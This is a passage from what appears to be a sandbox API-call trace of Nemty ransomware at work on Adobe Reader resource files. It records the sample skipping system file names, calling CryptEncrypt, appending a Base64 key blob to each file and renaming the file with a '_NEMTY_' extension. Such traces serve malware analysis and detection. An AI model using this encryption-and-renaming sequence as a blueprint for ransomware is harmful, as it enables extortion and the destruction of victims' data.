1 [0215.174] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28278, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e76 [0215.174] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.174] CloseHandle (hObject=0x2e8) returned 1 [0215.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340310 [0215.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.174] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340408 [0215.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x166) returned 0x63491c8 [0215.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340408 | out: hHeap=0x4f90000) returned 1 [0215.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.174] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el_gr_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR_PREEURO.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el_gr_preeuro.txt._nemty_kgobjgd_")) returned 1 [0215.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63491c8 | out: hHeap=0x4f90000) returned 1 [0215.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340310 | out: hHeap=0x4f90000) returned 1 [0215.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0215.175] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.175] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e88, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.en_CA.txt", cAlternateFileName="DI579A~1.TXT")) returned 1 [0215.175] lstrcmpiW (lpString1="DisplayLanguageNames.en_CA.txt", lpString2=".") returned 1 [0215.175] lstrcmpiW (lpString1="DisplayLanguageNames.en_CA.txt", lpString2="..") returned 1 [0215.175] lstrcmpiW (lpString1="DisplayLanguageNames.en_CA.txt", lpString2="...") returned 1 [0215.175] lstrcmpiW (lpString1="DisplayLanguageNames.en_CA.txt", lpString2="windows") returned -1 [0215.175] lstrcmpiW (lpString1="DisplayLanguageNames.en_CA.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.175] lstrcmpiW (lpString1="DisplayLanguageNames.en_CA.txt", lpString2="rsa") returned -1 [0215.175] lstrcmpiW (lpString1="DisplayLanguageNames.en_CA.txt", lpString2="NTDETECT.COM") returned -1 [0215.175] lstrcmpiW (lpString1="DisplayLanguageNames.en_CA.txt", lpString2="ntldr") returned -1 [0215.175] lstrcmpiW (lpString1="DisplayLanguageNames.en_CA.txt", lpString2="MSDOS.SYS") returned -1 [0215.175] lstrcmpiW (lpString1="DisplayLanguageNames.en_CA.txt", lpString2="IO.SYS") returned -1 [0215.175] lstrcmpiW (lpString1="DisplayLanguageNames.en_CA.txt", lpString2="boot.ini") returned 1 [0215.175] lstrcmpiW (lpString1="DisplayLanguageNames.en_CA.txt", lpString2="boot.ini") returned 1 [0215.175] lstrcmpiW (lpString1="DisplayLanguageNames.en_CA.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.175] lstrcmpiW (lpString1="DisplayLanguageNames.en_CA.txt", lpString2="ntuser.dat") returned -1 [0215.176] lstrcmpiW (lpString1="DisplayLanguageNames.en_CA.txt", lpString2="desktop.ini") returned 1 [0215.176] lstrcmpiW (lpString1="DisplayLanguageNames.en_CA.txt", lpString2="CONFIG.SYS") returned 1 [0215.176] lstrcmpiW (lpString1="DisplayLanguageNames.en_CA.txt", lpString2="RECYCLER") returned -1 [0215.176] lstrcmpiW (lpString1="DisplayLanguageNames.en_CA.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.176] lstrcmpiW (lpString1="DisplayLanguageNames.en_CA.txt", lpString2="bootmgr") returned 1 [0215.176] lstrcmpiW (lpString1="DisplayLanguageNames.en_CA.txt", lpString2="programdata") returned -1 [0215.176] lstrcmpiW (lpString1="DisplayLanguageNames.en_CA.txt", lpString2="appdata") returned 1 [0215.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_CA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_CA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.en_CA.txt", lpUsedDefaultChar=0x0) returned 30 [0215.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_CA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_CA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.en_CA.txt", lpUsedDefaultChar=0x0) returned 30 [0215.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_CA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_CA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.en_CA.txt", lpUsedDefaultChar=0x0) returned 30 [0215.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_CA.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_CA.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.en_CA.txt", lpUsedDefaultChar=0x0) returned 30 [0215.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.176] Sleep (dwMilliseconds=0x5) [0215.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33e5ba10, dwHighDateTime=0x1d561e8)) [0215.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33e5ba10, dwHighDateTime=0x1d561e8)) [0215.185] GetLastError () returned 0x0 [0215.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.185] GetLastError () returned 0x0 [0215.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.185] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.185] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.186] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0215.186] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="fhHChljWAAe05fYEGsmgcxywydBQ8SVId1XWdteZo0X6xulhM9wvV/rd2grBvyIH\r\nuqITqLSiqH1lseyzdjpf4WXKC3hHa7Om03i5gsTAsohGo5VoMGsnxGFpGxdHrwOt\r\nu7H7VhUY2+TprtQRY4E4yVmHe6c4WwPJcMsHTsxZmItKNI3/7do5+kZelFIH1aSH\r\nZSxFbOFU85ytage8y8a7CYCmj02/UI1Ois1oNZBUoIPW4YQmyze0TdBJ3i8mVFyV\r\nzrxNLNl2mN8faBHdAZOhRSvFUASnmR81l8Tca7KCfH2XkEhzlGKsj6F4clrz0Hpg\r\nuotYVNMaZb58wAS3ZdjtJg==\r\n", pcchString=0x653e5dc) returned 1 [0215.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0215.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.186] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_CA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_ca.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.187] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28296) returned 1 [0215.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6e80) returned 0x6352c48 [0215.187] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.187] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6e80, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6e80, lpOverlapped=0x0) returned 1 [0215.190] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.190] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6e80, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6e80, lpOverlapped=0x0) returned 1 [0215.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.190] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e88 [0215.191] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.191] CloseHandle (hObject=0x2e8) returned 1 [0215.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.191] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_CA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_ca.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_CA.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_ca.txt._nemty_kgobjgd_")) returned 1 [0215.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.192] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e88, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.en_GB.txt", cAlternateFileName="DICF87~1.TXT")) returned 1 [0215.192] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB.txt", lpString2=".") returned 1 [0215.192] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB.txt", lpString2="..") returned 1 [0215.192] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB.txt", lpString2="...") returned 1 [0215.192] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB.txt", lpString2="windows") returned -1 [0215.192] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.192] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB.txt", lpString2="rsa") returned -1 [0215.192] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB.txt", lpString2="NTDETECT.COM") returned -1 [0215.192] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB.txt", lpString2="ntldr") returned -1 [0215.192] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB.txt", lpString2="MSDOS.SYS") returned -1 [0215.192] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB.txt", lpString2="IO.SYS") returned -1 [0215.192] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB.txt", lpString2="boot.ini") returned 1 [0215.192] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB.txt", lpString2="boot.ini") returned 1 [0215.192] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.192] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB.txt", lpString2="ntuser.dat") returned -1 [0215.192] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB.txt", lpString2="desktop.ini") returned 1 [0215.192] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB.txt", lpString2="CONFIG.SYS") returned 1 [0215.192] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB.txt", lpString2="RECYCLER") returned -1 [0215.192] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.192] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB.txt", lpString2="bootmgr") returned 1 [0215.192] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB.txt", lpString2="programdata") returned -1 [0215.192] lstrcmpiW (lpString1="DisplayLanguageNames.en_GB.txt", lpString2="appdata") returned 1 [0215.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_GB.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_GB.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.en_GB.txt", lpUsedDefaultChar=0x0) returned 30 [0215.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_GB.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_GB.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.en_GB.txt", lpUsedDefaultChar=0x0) returned 30 [0215.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_GB.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_GB.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.en_GB.txt", lpUsedDefaultChar=0x0) returned 30 [0215.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_GB.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.193] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_GB.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.en_GB.txt", lpUsedDefaultChar=0x0) returned 30 [0215.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.193] Sleep (dwMilliseconds=0x5) [0215.200] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33e81b70, dwHighDateTime=0x1d561e8)) [0215.200] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33e81b70, dwHighDateTime=0x1d561e8)) [0215.200] GetLastError () returned 0x0 [0215.200] 